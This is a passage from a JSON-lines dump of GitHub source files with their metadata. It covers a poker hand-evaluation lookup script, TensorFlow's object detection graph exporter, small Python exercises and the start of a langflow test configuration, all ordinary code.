IngredientMacros.objects:\n ingredient_json = ingredient.to_json()\n ingredient_data = json.loads(ingredient_json)\n ingredients.append(ingredient_data)\n return jsonify(ingredients)\n","repo_name":"sherry-666/meal-planner","sub_path":"api/ingredient.py","file_name":"ingredient.py","file_ext":"py","file_size_in_byte":1029,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"70699085840","text":"#Manipulando matrizes\n\nmatriz = [ [0,0], [0,0], [0,0], [0,0]]\n\n#Preenchimento dos dados da matriz\nfor l in range(4):\n for c in range(2):\n matriz[l][c] = int(input(f\"Matriz[{l}][{c}]= \"))\n\n#Exibir dos dados da matriz\nprint(\"\\nExibindo a Matriz...\")\nfor l in range(4):\n for c in range(2):\n print(f\"{matriz[l][c]}\\t\", end = \"\") #\\t tabulação\n\n#Somando os valores\nsoma = 0\nfor l in range(4):\n for c in range(2):\n soma += matriz[l][c]\nprint(\"\\nSoma = \", soma)\n","repo_name":"CarolineAndradeR/Python","sub_path":"Logica_Programacao_Introducao/Matriz.py","file_name":"Matriz.py","file_ext":"py","file_size_in_byte":487,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"15668260645","text":"import sys\nsys.path.insert(0,'..')\nimport hand_ranker\nimport bisect\nimport itertools\nimport time\nimport numpy as np\nimport queue\nimport threading\nimport multiprocessing\nfrom deuces import Card, Evaluator\nimport json\nimport copy \nimport operator as op\nfrom functools import reduce\n\ncore_count = 2\n\ncards = ['2s', '2c', '2d', '2h', '3s', '3c', '3d', '3h', '4s', '4c', '4d', '4h', '5s', '5c', '5d', '5h', '6s', '6c', '6d', '6h', '7s', '7c', '7d', '7h', '8s', '8c', '8d', '8h', '9s', '9c', '9d', '9h', 'Ts', 'Tc', 'Td', 'Th', 'Js', 'Jc', 'Jd', 'Jh', 'Qs', 'Qc', 'Qd', 'Qh', 'Ks', 'Kc', 'Kd', 'Kh', 'As', 'Ac', 'Ad', 'Ah']\n\ncards = [Card.new(card) for card in cards]\nevaluator = Evaluator()\n\npotential_times = []\npre_return = []\n\ntwo_card_lookup = {}\n\nwith open('../two_card_lookup.json') as data_file: \n two_card_lookup = json.load(data_file)\n \nthree_card_lookup = {}\n\nwith open('../flops.json') as data_file: \n three_card_lookup = json.load(data_file)\n \nfour_card_lookup = {}\n\nwith open('../turns.json') as data_file: \n four_card_lookup = json.load(data_file)\n \n \ntwo_card_potentials = {}\n\nwith open('../potentials.json') as data_file: \n two_card_potentials = json.load(data_file)\n \n\n\ndef evaluate(output_file, hand_cards, length, original_length, count):\n \n print(\"Start: \" + Card.print_pretty_cards(hand_cards))\n potential_times.append(time.time())\n \n \n remaining_cards = copy.deepcopy(cards)\n for card in hand_cards:\n remaining_cards.remove(card) \n \n for card_combo in itertools.combinations(remaining_cards, length - original_length): \n possible_hand = hand_cards + list(card_combo)\n \n output_file.write(str(evaluator.evaluate(possible_hand[0:2], possible_hand[2:len(possible_hand)])) + \",\")\n \n if len(hand_cards) == original_length:\n print(\"potential calc complete\")\n difference = time.time() - potential_times.pop()\n print(\"Time: \" + str(difference)) \n print(\"pre-return calculations\")\n pre_return.append(time.time())\n print(count)\n \n \n return\n\n \ndef worker():\n while True:\n this_hand = q.get()\n with open (\"hands/\" + Card.print_pretty_cards(this_hand).replace(\" \", \"_\") + \".txt\", \"w\") as output_file:\n result = evaluate(output_file, this_hand, 5, 2, 0)\n output_file.close()\n q.task_done()\n \n\ndef main():\n with open (\"../hands.txt\", \"r\") as f:\n hands = f.read().split(\",\")\n q = queue.Queue()\n for hand in hands:\n deuces_hand = [Card.new(card) for card in hand.split(\" \")]\n q.put(deuces_hand)\n\n cpus=multiprocessing.cpu_count() #detect number of cores\n print(\"Creating %d threads\" % cpus)\n for i in range(cpus):\n t = threading.Thread(target=worker)\n t.daemon = True\n t.start()\n\n\n q.join()\n\n\nif __name__ == \"__main__\":\n main()\n \ndef transform_for_lookup(card_string):\n card_string = card_string.replace(\"T\", \"10\")\n card_string = card_string.replace(\"J\", \"11\")\n card_string = card_string.replace(\"Q\", \"12\")\n card_string = card_string.replace(\"K\", \"13\")\n card_string = card_string.replace(\"A\", \"14\")\n return card_string\n\n \ndef order_cards(card):\n return cards.index(Card.new(card))\n \ndef hand_strength(hand_cards, community):\n if len(community) == 0:\n hand_cards.sort(key=order_cards)\n raw_score = two_card_lookup[\" \".join(hand_cards)]\n scaled_score = (1325 - raw_score)*2.9562264151 + 3545\n return scaled_score\n \n elif len(community) == 3 and len(hand_cards) == 0:\n\n community.sort(key=order_cards)\n community = \" \".join(community)\n community = transform_for_lookup(community)\n raw_score = three_card_lookup[community]\n scaled_score = (22100 - raw_score)*0.2618552036 + 1675\n \n return scaled_score\n elif len(community) == 4 and len(hand_cards) == 0:\n\n community.sort(key=order_cards)\n community = \" \".join(community)\n community = transform_for_lookup(community)\n raw_score = four_card_lookup[community] \n scaled_score = (270725 - raw_score)*0.02756526525 + 22\n return four_card_lookup[community] \n else: \n deuces_cards = [Card.new(card) for card in hand_cards]\n deuces_community = [Card.new(card) for card in community]\n return evaluator.evaluate(deuces_cards, deuces_community)\n \ndef hand_potential(hand_cards, community):\n if len(community) == 0:\n hand_cards.sort(key=order_cards)\n mean, std = tuple(two_card_potentials[\"_\".join(hand_cards)])\n return mean, std\n \n elif len(community) != 5:\n strengths = []\n \n all_cards = hand_cards + community\n\n all_cards = [Card.new(card) for card in all_cards]\n \n remaining_cards = copy.deepcopy(cards)\n for card in all_cards:\n remaining_cards.remove(card) \n \n for card_combo in itertools.combinations(remaining_cards, 7 - len(all_cards)): \n possible_hand = all_cards + list(card_combo) \n\n strengths.append(evaluator.evaluate(possible_hand[0:2], possible_hand[2:len(possible_hand)]))\n\n probability = 1.0/len(strengths)\n \n mean = sum(strengths)*probability\n\n standard_deviation = 0.0\n for x in strengths:\n standard_deviation += x**2 \n standard_deviation *= probability\n standard_deviation -= mean**2\n \n return mean, standard_deviation\n else:\n return hand_strength(hand_cards, community), 0\n \ndef ncr(n, r):\n r = min(r, n-r)\n if r == 0: return 1\n numer = reduce(op.mul, range(n, n-r, -1))\n denom = reduce(op.mul, range(1, r+1))\n return numer//denom\n\ndef evaluate_hand(cards):\n deuces_cards = [Card.new(card) for card in cards]\n return evaluator.evaluate(deuces_cards[0:2], deuces_cards[2:len(deuces_cards)])\n \n \n\n \n \n \n\n\n","repo_name":"obventio56/approximating_deepstack","sub_path":"potentials_lookup/lookup.py","file_name":"lookup.py","file_ext":"py","file_size_in_byte":6045,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"29"} +{"seq_id":"33656527439","text":"import os\nimport tempfile\nimport tensorflow.compat.v1 as tf\nimport tf_slim as slim\nfrom tensorflow.core.protobuf import saver_pb2\nfrom tensorflow.python.tools import freeze_graph # pylint: disable=g-direct-tensorflow-import\nfrom object_detection.builders import graph_rewriter_builder\nfrom object_detection.builders import model_builder\nfrom object_detection.core import standard_fields as fields\nfrom object_detection.data_decoders import tf_example_decoder\nfrom object_detection.utils import config_util\nfrom object_detection.utils import shape_utils\n\n# pylint: disable=g-import-not-at-top\ntry:\n from tensorflow.contrib import tfprof as contrib_tfprof\n from tensorflow.contrib.quantize.python import graph_matcher\nexcept ImportError:\n # TF 2.0 doesn't ship with contrib.\n pass\n# pylint: enable=g-import-not-at-top\n\nfreeze_graph_with_def_protos = freeze_graph.freeze_graph_with_def_protos\n\n\ndef parse_side_inputs(side_input_shapes_string, side_input_names_string,\n side_input_types_string):\n \"\"\"Parses side input flags.\n\n Args:\n side_input_shapes_string: The shape of the side input tensors, provided as a\n comma-separated list of integers. A value of -1 is used for unknown\n dimensions. A `/` denotes a break, starting the shape of the next side\n input tensor.\n side_input_names_string: The names of the side input tensors, provided as a\n comma-separated list of strings.\n side_input_types_string: The type of the side input tensors, provided as a\n comma-separated list of types, each of `string`, `integer`, or `float`.\n\n Returns:\n side_input_shapes: A list of shapes.\n side_input_names: A list of strings.\n side_input_types: A list of tensorflow dtypes.\n\n \"\"\"\n if side_input_shapes_string:\n side_input_shapes = []\n for side_input_shape_list in side_input_shapes_string.split('/'):\n side_input_shape = [\n int(dim) if dim != '-1' else None\n for dim in side_input_shape_list.split(',')\n ]\n side_input_shapes.append(side_input_shape)\n else:\n raise ValueError('When using side_inputs, side_input_shapes must be '\n 'specified in the input flags.')\n if side_input_names_string:\n side_input_names = list(side_input_names_string.split(','))\n else:\n raise ValueError('When using side_inputs, side_input_names must be '\n 'specified in the input flags.')\n if side_input_types_string:\n typelookup = {'float': tf.float32, 'int': tf.int32, 'string': tf.string}\n side_input_types = [\n typelookup[side_input_type]\n for side_input_type in side_input_types_string.split(',')\n ]\n else:\n raise ValueError('When using side_inputs, side_input_types must be '\n 'specified in the input flags.')\n return side_input_shapes, side_input_names, side_input_types\n\n\ndef rewrite_nn_resize_op(is_quantized=False):\n \"\"\"Replaces a custom nearest-neighbor resize op with the Tensorflow version.\n\n Some graphs use this custom version for TPU-compatibility.\n\n Args:\n is_quantized: True if the default graph is quantized.\n \"\"\"\n def remove_nn():\n \"\"\"Remove nearest neighbor upsampling structures and replace with TF op.\"\"\"\n input_pattern = graph_matcher.OpTypePattern(\n 'FakeQuantWithMinMaxVars' if is_quantized else '*')\n stack_1_pattern = graph_matcher.OpTypePattern(\n 'Pack', inputs=[input_pattern, input_pattern], ordered_inputs=False)\n reshape_1_pattern = graph_matcher.OpTypePattern(\n 'Reshape', inputs=[stack_1_pattern, 'Const'], ordered_inputs=False)\n stack_2_pattern = graph_matcher.OpTypePattern(\n 'Pack',\n inputs=[reshape_1_pattern, reshape_1_pattern],\n ordered_inputs=False)\n reshape_2_pattern = graph_matcher.OpTypePattern(\n 'Reshape', inputs=[stack_2_pattern, 'Const'], ordered_inputs=False)\n consumer_pattern1 = graph_matcher.OpTypePattern(\n 'Add|AddV2|Max|Mul',\n inputs=[reshape_2_pattern, '*'],\n ordered_inputs=False)\n consumer_pattern2 = graph_matcher.OpTypePattern(\n 'StridedSlice',\n inputs=[reshape_2_pattern, '*', '*', '*'],\n ordered_inputs=False)\n\n def replace_matches(consumer_pattern):\n \"\"\"Search for nearest neighbor pattern and replace with TF op.\"\"\"\n match_counter = 0\n matcher = graph_matcher.GraphMatcher(consumer_pattern)\n for match in matcher.match_graph(tf.get_default_graph()):\n match_counter += 1\n projection_op = match.get_op(input_pattern)\n reshape_2_op = match.get_op(reshape_2_pattern)\n consumer_op = match.get_op(consumer_pattern)\n nn_resize = tf.image.resize_nearest_neighbor(\n projection_op.outputs[0],\n reshape_2_op.outputs[0].shape.dims[1:3],\n align_corners=False,\n name=os.path.split(reshape_2_op.name)[0] +\n '/resize_nearest_neighbor')\n\n for index, op_input in enumerate(consumer_op.inputs):\n if op_input == reshape_2_op.outputs[0]:\n consumer_op._update_input(index, nn_resize) # pylint: disable=protected-access\n break\n\n return match_counter\n\n match_counter = replace_matches(consumer_pattern1)\n match_counter += replace_matches(consumer_pattern2)\n\n tf.logging.info('Found and fixed {} matches'.format(match_counter))\n return match_counter\n\n # Applying twice because both inputs to Add could be NN pattern\n total_removals = 0\n while remove_nn():\n total_removals += 1\n # This number is chosen based on the nas-fpn architecture.\n if total_removals > 4:\n raise ValueError('Graph removal encountered a infinite loop.')\n\n\ndef replace_variable_values_with_moving_averages(graph,\n current_checkpoint_file,\n new_checkpoint_file,\n no_ema_collection=None):\n \"\"\"Replaces variable values in the checkpoint with their moving averages.\n\n If the current checkpoint has shadow variables maintaining moving averages of\n the variables defined in the graph, this function generates a new checkpoint\n where the variables contain the values of their moving averages.\n\n Args:\n graph: a tf.Graph object.\n current_checkpoint_file: a checkpoint containing both original variables and\n their moving averages.\n new_checkpoint_file: file path to write a new checkpoint.\n no_ema_collection: A list of namescope substrings to match the variables\n to eliminate EMA.\n \"\"\"\n with graph.as_default():\n variable_averages = tf.train.ExponentialMovingAverage(0.0)\n ema_variables_to_restore = variable_averages.variables_to_restore()\n ema_variables_to_restore = config_util.remove_unnecessary_ema(\n ema_variables_to_restore, no_ema_collection)\n with tf.Session() as sess:\n read_saver = tf.train.Saver(ema_variables_to_restore)\n read_saver.restore(sess, current_checkpoint_file)\n write_saver = tf.train.Saver()\n write_saver.save(sess, new_checkpoint_file)\n\n\ndef _image_tensor_input_placeholder(input_shape=None):\n \"\"\"Returns input placeholder and a 4-D uint8 image tensor.\"\"\"\n if input_shape is None:\n input_shape = (None, None, None, 3)\n input_tensor = tf.placeholder(\n dtype=tf.uint8, shape=input_shape, name='image_tensor')\n return input_tensor, input_tensor\n\n\ndef _side_input_tensor_placeholder(side_input_shape, side_input_name,\n side_input_type):\n \"\"\"Returns side input placeholder and side input tensor.\"\"\"\n side_input_tensor = tf.placeholder(\n dtype=side_input_type, shape=side_input_shape, name=side_input_name)\n return side_input_tensor, side_input_tensor\n\n\ndef _tf_example_input_placeholder(input_shape=None):\n \"\"\"Returns input that accepts a batch of strings with tf examples.\n\n Args:\n input_shape: the shape to resize the output decoded images to (optional).\n\n Returns:\n a tuple of input placeholder and the output decoded images.\n \"\"\"\n batch_tf_example_placeholder = tf.placeholder(\n tf.string, shape=[None], name='tf_example')\n def decode(tf_example_string_tensor):\n tensor_dict = tf_example_decoder.TfExampleDecoder().decode(\n tf_example_string_tensor)\n image_tensor = tensor_dict[fields.InputDataFields.image]\n if input_shape is not None:\n image_tensor = tf.image.resize(image_tensor, input_shape[1:3])\n return image_tensor\n return (batch_tf_example_placeholder,\n shape_utils.static_or_dynamic_map_fn(\n decode,\n elems=batch_tf_example_placeholder,\n dtype=tf.uint8,\n parallel_iterations=32,\n back_prop=False))\n\n\ndef _encoded_image_string_tensor_input_placeholder(input_shape=None):\n \"\"\"Returns input that accepts a batch of PNG or JPEG strings.\n\n Args:\n input_shape: the shape to resize the output decoded images to (optional).\n\n Returns:\n a tuple of input placeholder and the output decoded images.\n \"\"\"\n batch_image_str_placeholder = tf.placeholder(\n dtype=tf.string,\n shape=[None],\n name='encoded_image_string_tensor')\n def decode(encoded_image_string_tensor):\n image_tensor = tf.image.decode_image(encoded_image_string_tensor,\n channels=3)\n image_tensor.set_shape((None, None, 3))\n if input_shape is not None:\n image_tensor = tf.image.resize(image_tensor, input_shape[1:3])\n return image_tensor\n return (batch_image_str_placeholder,\n tf.map_fn(\n decode,\n elems=batch_image_str_placeholder,\n dtype=tf.uint8,\n parallel_iterations=32,\n back_prop=False))\n\n\ninput_placeholder_fn_map = {\n 'image_tensor': _image_tensor_input_placeholder,\n 'encoded_image_string_tensor':\n _encoded_image_string_tensor_input_placeholder,\n 'tf_example': _tf_example_input_placeholder\n}\n\n\ndef add_output_tensor_nodes(postprocessed_tensors,\n output_collection_name='inference_op'):\n \"\"\"Adds output nodes for detection boxes and scores.\n\n Adds the following nodes for output tensors -\n * num_detections: float32 tensor of shape [batch_size].\n * detection_boxes: float32 tensor of shape [batch_size, num_boxes, 4]\n containing detected boxes.\n * detection_scores: float32 tensor of shape [batch_size, num_boxes]\n containing scores for the detected boxes.\n * detection_multiclass_scores: (Optional) float32 tensor of shape\n [batch_size, num_boxes, num_classes_with_background] for containing class\n score distribution for detected boxes including background if any.\n * detection_features: (Optional) float32 tensor of shape\n [batch, num_boxes, roi_height, roi_width, depth]\n containing classifier features\n for each detected box\n * detection_classes: float32 tensor of shape [batch_size, num_boxes]\n containing class predictions for the detected boxes.\n * detection_keypoints: (Optional) float32 tensor of shape\n [batch_size, num_boxes, num_keypoints, 2] containing keypoints for each\n detection box.\n * detection_masks: (Optional) float32 tensor of shape\n [batch_size, num_boxes, mask_height, mask_width] containing masks for each\n detection box.\n\n Args:\n postprocessed_tensors: a dictionary containing the following fields\n 'detection_boxes': [batch, max_detections, 4]\n 'detection_scores': [batch, max_detections]\n 'detection_multiclass_scores': [batch, max_detections,\n num_classes_with_background]\n 'detection_features': [batch, num_boxes, roi_height, roi_width, depth]\n 'detection_classes': [batch, max_detections]\n 'detection_masks': [batch, max_detections, mask_height, mask_width]\n (optional).\n 'detection_keypoints': [batch, max_detections, num_keypoints, 2]\n (optional).\n 'num_detections': [batch]\n output_collection_name: Name of collection to add output tensors to.\n\n Returns:\n A tensor dict containing the added output tensor nodes.\n \"\"\"\n detection_fields = fields.DetectionResultFields\n label_id_offset = 1\n boxes = postprocessed_tensors.get(detection_fields.detection_boxes)\n scores = postprocessed_tensors.get(detection_fields.detection_scores)\n multiclass_scores = postprocessed_tensors.get(\n detection_fields.detection_multiclass_scores)\n box_classifier_features = postprocessed_tensors.get(\n detection_fields.detection_features)\n raw_boxes = postprocessed_tensors.get(detection_fields.raw_detection_boxes)\n raw_scores = postprocessed_tensors.get(detection_fields.raw_detection_scores)\n classes = postprocessed_tensors.get(\n detection_fields.detection_classes) + label_id_offset\n keypoints = postprocessed_tensors.get(detection_fields.detection_keypoints)\n masks = postprocessed_tensors.get(detection_fields.detection_masks)\n num_detections = postprocessed_tensors.get(detection_fields.num_detections)\n outputs = {}\n outputs[detection_fields.detection_boxes] = tf.identity(\n boxes, name=detection_fields.detection_boxes)\n outputs[detection_fields.detection_scores] = tf.identity(\n scores, name=detection_fields.detection_scores)\n if multiclass_scores is not None:\n outputs[detection_fields.detection_multiclass_scores] = tf.identity(\n multiclass_scores, name=detection_fields.detection_multiclass_scores)\n if box_classifier_features is not None:\n outputs[detection_fields.detection_features] = tf.identity(\n box_classifier_features,\n name=detection_fields.detection_features)\n outputs[detection_fields.detection_classes] = tf.identity(\n classes, name=detection_fields.detection_classes)\n outputs[detection_fields.num_detections] = tf.identity(\n num_detections, name=detection_fields.num_detections)\n if raw_boxes is not None:\n outputs[detection_fields.raw_detection_boxes] = tf.identity(\n raw_boxes, name=detection_fields.raw_detection_boxes)\n if raw_scores is not None:\n outputs[detection_fields.raw_detection_scores] = tf.identity(\n raw_scores, name=detection_fields.raw_detection_scores)\n if keypoints is not None:\n outputs[detection_fields.detection_keypoints] = tf.identity(\n keypoints, name=detection_fields.detection_keypoints)\n if masks is not None:\n outputs[detection_fields.detection_masks] = tf.identity(\n masks, name=detection_fields.detection_masks)\n for output_key in outputs:\n tf.add_to_collection(output_collection_name, outputs[output_key])\n\n return outputs\n\n\ndef write_saved_model(saved_model_path,\n frozen_graph_def,\n inputs,\n outputs):\n \"\"\"Writes SavedModel to disk.\n\n If checkpoint_path is not None bakes the weights into the graph thereby\n eliminating the need of checkpoint files during inference. If the model\n was trained with moving averages, setting use_moving_averages to true\n restores the moving averages, otherwise the original set of variables\n is restored.\n\n Args:\n saved_model_path: Path to write SavedModel.\n frozen_graph_def: tf.GraphDef holding frozen graph.\n inputs: A tensor dictionary containing the inputs to a DetectionModel.\n outputs: A tensor dictionary containing the outputs of a DetectionModel.\n \"\"\"\n with tf.Graph().as_default():\n with tf.Session() as sess:\n\n tf.import_graph_def(frozen_graph_def, name='')\n\n builder = tf.saved_model.builder.SavedModelBuilder(saved_model_path)\n\n tensor_info_inputs = {}\n if isinstance(inputs, dict):\n for k, v in inputs.items():\n tensor_info_inputs[k] = tf.saved_model.utils.build_tensor_info(v)\n else:\n tensor_info_inputs['inputs'] = tf.saved_model.utils.build_tensor_info(\n inputs)\n tensor_info_outputs = {}\n for k, v in outputs.items():\n tensor_info_outputs[k] = tf.saved_model.utils.build_tensor_info(v)\n\n detection_signature = (\n tf.saved_model.signature_def_utils.build_signature_def(\n inputs=tensor_info_inputs,\n outputs=tensor_info_outputs,\n method_name=tf.saved_model.signature_constants.PREDICT_METHOD_NAME\n ))\n\n builder.add_meta_graph_and_variables(\n sess,\n [tf.saved_model.tag_constants.SERVING],\n signature_def_map={\n tf.saved_model.signature_constants\n .DEFAULT_SERVING_SIGNATURE_DEF_KEY:\n detection_signature,\n },\n )\n builder.save()\n\n\ndef write_graph_and_checkpoint(inference_graph_def,\n model_path,\n input_saver_def,\n trained_checkpoint_prefix):\n \"\"\"Writes the graph and the checkpoint into disk.\"\"\"\n for node in inference_graph_def.node:\n node.device = ''\n with tf.Graph().as_default():\n tf.import_graph_def(inference_graph_def, name='')\n with tf.Session() as sess:\n saver = tf.train.Saver(\n saver_def=input_saver_def, save_relative_paths=True)\n saver.restore(sess, trained_checkpoint_prefix)\n saver.save(sess, model_path)\n\n\ndef _get_outputs_from_inputs(input_tensors, detection_model,\n output_collection_name, **side_inputs):\n inputs = tf.cast(input_tensors, dtype=tf.float32)\n preprocessed_inputs, true_image_shapes = detection_model.preprocess(inputs)\n output_tensors = detection_model.predict(\n preprocessed_inputs, true_image_shapes, **side_inputs)\n postprocessed_tensors = detection_model.postprocess(\n output_tensors, true_image_shapes)\n return add_output_tensor_nodes(postprocessed_tensors,\n output_collection_name)\n\n\ndef build_detection_graph(input_type, detection_model, input_shape,\n output_collection_name, graph_hook_fn,\n use_side_inputs=False, side_input_shapes=None,\n side_input_names=None, side_input_types=None):\n \"\"\"Build the detection graph.\"\"\"\n if input_type not in input_placeholder_fn_map:\n raise ValueError('Unknown input type: {}'.format(input_type))\n placeholder_args = {}\n side_inputs = {}\n if input_shape is not None:\n if (input_type != 'image_tensor' and\n input_type != 'encoded_image_string_tensor' and\n input_type != 'tf_example' and\n input_type != 'tf_sequence_example'):\n raise ValueError('Can only specify input shape for `image_tensor`, '\n '`encoded_image_string_tensor`, `tf_example`, '\n ' or `tf_sequence_example` inputs.')\n placeholder_args['input_shape'] = input_shape\n placeholder_tensor, input_tensors = input_placeholder_fn_map[input_type](\n **placeholder_args)\n placeholder_tensors = {'inputs': placeholder_tensor}\n if use_side_inputs:\n for idx, side_input_name in enumerate(side_input_names):\n side_input_placeholder, side_input = _side_input_tensor_placeholder(\n side_input_shapes[idx], side_input_name, side_input_types[idx])\n print(side_input)\n side_inputs[side_input_name] = side_input\n placeholder_tensors[side_input_name] = side_input_placeholder\n outputs = _get_outputs_from_inputs(\n input_tensors=input_tensors,\n detection_model=detection_model,\n output_collection_name=output_collection_name,\n **side_inputs)\n\n # Add global step to the graph.\n slim.get_or_create_global_step()\n\n if graph_hook_fn: graph_hook_fn()\n\n return outputs, placeholder_tensors\n\n\ndef _export_inference_graph(input_type,\n detection_model,\n use_moving_averages,\n trained_checkpoint_prefix,\n output_directory,\n additional_output_tensor_names=None,\n input_shape=None,\n output_collection_name='inference_op',\n graph_hook_fn=None,\n write_inference_graph=False,\n temp_checkpoint_prefix='',\n use_side_inputs=False,\n side_input_shapes=None,\n side_input_names=None,\n side_input_types=None):\n \"\"\"Export helper.\"\"\"\n tf.gfile.MakeDirs(output_directory)\n frozen_graph_path = os.path.join(output_directory,\n 'frozen_inference_graph.pb')\n saved_model_path = os.path.join(output_directory, 'saved_model')\n model_path = os.path.join(output_directory, 'model.ckpt')\n\n outputs, placeholder_tensor_dict = build_detection_graph(\n input_type=input_type,\n detection_model=detection_model,\n input_shape=input_shape,\n output_collection_name=output_collection_name,\n graph_hook_fn=graph_hook_fn,\n use_side_inputs=use_side_inputs,\n side_input_shapes=side_input_shapes,\n side_input_names=side_input_names,\n side_input_types=side_input_types)\n\n profile_inference_graph(tf.get_default_graph())\n saver_kwargs = {}\n if use_moving_averages:\n if not temp_checkpoint_prefix:\n # This check is to be compatible with both version of SaverDef.\n if os.path.isfile(trained_checkpoint_prefix):\n saver_kwargs['write_version'] = saver_pb2.SaverDef.V1\n temp_checkpoint_prefix = tempfile.NamedTemporaryFile().name\n else:\n temp_checkpoint_prefix = tempfile.mkdtemp()\n replace_variable_values_with_moving_averages(\n tf.get_default_graph(), trained_checkpoint_prefix,\n temp_checkpoint_prefix)\n checkpoint_to_use = temp_checkpoint_prefix\n else:\n checkpoint_to_use = trained_checkpoint_prefix\n\n saver = tf.train.Saver(**saver_kwargs)\n input_saver_def = saver.as_saver_def()\n\n write_graph_and_checkpoint(\n inference_graph_def=tf.get_default_graph().as_graph_def(),\n model_path=model_path,\n input_saver_def=input_saver_def,\n trained_checkpoint_prefix=checkpoint_to_use)\n if write_inference_graph:\n inference_graph_def = tf.get_default_graph().as_graph_def()\n inference_graph_path = os.path.join(output_directory,\n 'inference_graph.pbtxt')\n for node in inference_graph_def.node:\n node.device = ''\n with tf.gfile.GFile(inference_graph_path, 'wb') as f:\n f.write(str(inference_graph_def))\n\n if additional_output_tensor_names is not None:\n output_node_names = ','.join(list(outputs.keys())+(\n additional_output_tensor_names))\n else:\n output_node_names = ','.join(outputs.keys())\n\n frozen_graph_def = freeze_graph.freeze_graph_with_def_protos(\n input_graph_def=tf.get_default_graph().as_graph_def(),\n input_saver_def=input_saver_def,\n input_checkpoint=checkpoint_to_use,\n output_node_names=output_node_names,\n restore_op_name='save/restore_all',\n filename_tensor_name='save/Const:0',\n output_graph=frozen_graph_path,\n clear_devices=True,\n initializer_nodes='')\n\n write_saved_model(saved_model_path, frozen_graph_def,\n placeholder_tensor_dict, outputs)\n\n\ndef export_inference_graph(input_type,\n pipeline_config,\n trained_checkpoint_prefix,\n output_directory,\n input_shape=None,\n output_collection_name='inference_op',\n additional_output_tensor_names=None,\n write_inference_graph=False,\n use_side_inputs=False,\n side_input_shapes=None,\n side_input_names=None,\n side_input_types=None):\n \"\"\"Exports inference graph for the model specified in the pipeline config.\n\n Args:\n input_type: Type of input for the graph. Can be one of ['image_tensor',\n 'encoded_image_string_tensor', 'tf_example'].\n pipeline_config: pipeline_pb2.TrainAndEvalPipelineConfig proto.\n trained_checkpoint_prefix: Path to the trained checkpoint file.\n output_directory: Path to write outputs.\n input_shape: Sets a fixed shape for an `image_tensor` input. If not\n specified, will default to [None, None, None, 3].\n output_collection_name: Name of collection to add output tensors to.\n If None, does not add output tensors to a collection.\n additional_output_tensor_names: list of additional output\n tensors to include in the frozen graph.\n write_inference_graph: If true, writes inference graph to disk.\n use_side_inputs: If True, the model requires side_inputs.\n side_input_shapes: List of shapes of the side input tensors,\n required if use_side_inputs is True.\n side_input_names: List of names of the side input tensors,\n required if use_side_inputs is True.\n side_input_types: List of types of the side input tensors,\n required if use_side_inputs is True.\n \"\"\"\n detection_model = model_builder.build(pipeline_config.model,\n is_training=False)\n graph_rewriter_fn = None\n if pipeline_config.HasField('graph_rewriter'):\n graph_rewriter_config = pipeline_config.graph_rewriter\n graph_rewriter_fn = graph_rewriter_builder.build(graph_rewriter_config,\n is_training=False)\n _export_inference_graph(\n input_type,\n detection_model,\n pipeline_config.eval_config.use_moving_averages,\n trained_checkpoint_prefix,\n output_directory,\n additional_output_tensor_names,\n input_shape,\n output_collection_name,\n graph_hook_fn=graph_rewriter_fn,\n write_inference_graph=write_inference_graph,\n use_side_inputs=use_side_inputs,\n side_input_shapes=side_input_shapes,\n side_input_names=side_input_names,\n side_input_types=side_input_types)\n pipeline_config.eval_config.use_moving_averages = False\n config_util.save_pipeline_config(pipeline_config, output_directory)\n\n\ndef profile_inference_graph(graph):\n \"\"\"Profiles the inference graph.\n\n Prints model parameters and computation FLOPs given an inference graph.\n BatchNorms are excluded from the parameter count due to the fact that\n BatchNorms are usually folded. BatchNorm, Initializer, Regularizer\n and BiasAdd are not considered in FLOP count.\n\n Args:\n graph: the inference graph.\n \"\"\"\n tfprof_vars_option = (\n contrib_tfprof.model_analyzer.TRAINABLE_VARS_PARAMS_STAT_OPTIONS)\n tfprof_flops_option = contrib_tfprof.model_analyzer.FLOAT_OPS_OPTIONS\n\n # Batchnorm is usually folded during inference.\n tfprof_vars_option['trim_name_regexes'] = ['.*BatchNorm.*']\n # Initializer and Regularizer are only used in training.\n tfprof_flops_option['trim_name_regexes'] = [\n '.*BatchNorm.*', '.*Initializer.*', '.*Regularizer.*', '.*BiasAdd.*'\n ]\n\n contrib_tfprof.model_analyzer.print_model_analysis(\n graph, tfprof_options=tfprof_vars_option)\n\n contrib_tfprof.model_analyzer.print_model_analysis(\n graph, tfprof_options=tfprof_flops_option)\n","repo_name":"tensorflow/models","sub_path":"research/object_detection/exporter.py","file_name":"exporter.py","file_ext":"py","file_size_in_byte":27073,"program_lang":"python","lang":"en","doc_type":"code","stars":76227,"dataset":"github-code","pt":"29"} +{"seq_id":"3143521184","text":"def separate_liquids(glass):\n if not glass:\n return []\n order = [e for e in ['O', 'A', 'W', 'H'] if e in set(sum(glass, []))]\n cnt = {k: sum(glass, []).count(k) for k in order}\n h, w = len(glass), len(glass[0])\n glass = [['' for y in range(w)] for x in range(h)]\n row = 0\n while row < h:\n n_empty = glass[row].count('')\n for k in order:\n if n_empty and cnt[k]:\n n = min(n_empty, cnt[k])\n glass[row] = glass[row][:w-n_empty] + [k]*n + glass[row][n+w-n_empty:]\n cnt[k], n_empty = cnt[k] - n, n_empty - n\n if not n_empty:\n row += 1\n break\n return glass\n","repo_name":"widelec9/codewars","sub_path":"kata/python/5kyu/dont_drink_the_water.py","file_name":"dont_drink_the_water.py","file_ext":"py","file_size_in_byte":704,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"3793118529","text":"from contextlib import contextmanager\nimport json\nfrom pathlib import Path\nfrom typing import AsyncGenerator, TYPE_CHECKING\n\nfrom langflow.graph.graph.base import Graph\nfrom langflow.services.auth.utils import get_password_hash\nfrom langflow.services.database.models.flow.flow import Flow\nfrom langflow.services.database.models.user.user import User, UserCreate\nfrom langflow.services.database.utils import session_getter\nfrom langflow.services.getters import get_db_manager\nimport pytest\nfrom fastapi.testclient import TestClient\nfrom httpx import AsyncClient\nfrom sqlmodel import SQLModel, Session, create_engine\nfrom sqlmodel.pool import StaticPool\nfrom typer.testing import CliRunner\n\n# we need to import tmpdir\nimport tempfile\n\nif TYPE_CHECKING:\n from langflow.services.database.manager import DatabaseManager\n\n\ndef pytest_configure():\n pytest.BASIC_EXAMPLE_PATH = (\n Path(__file__).parent.absolute() / \"data\" / 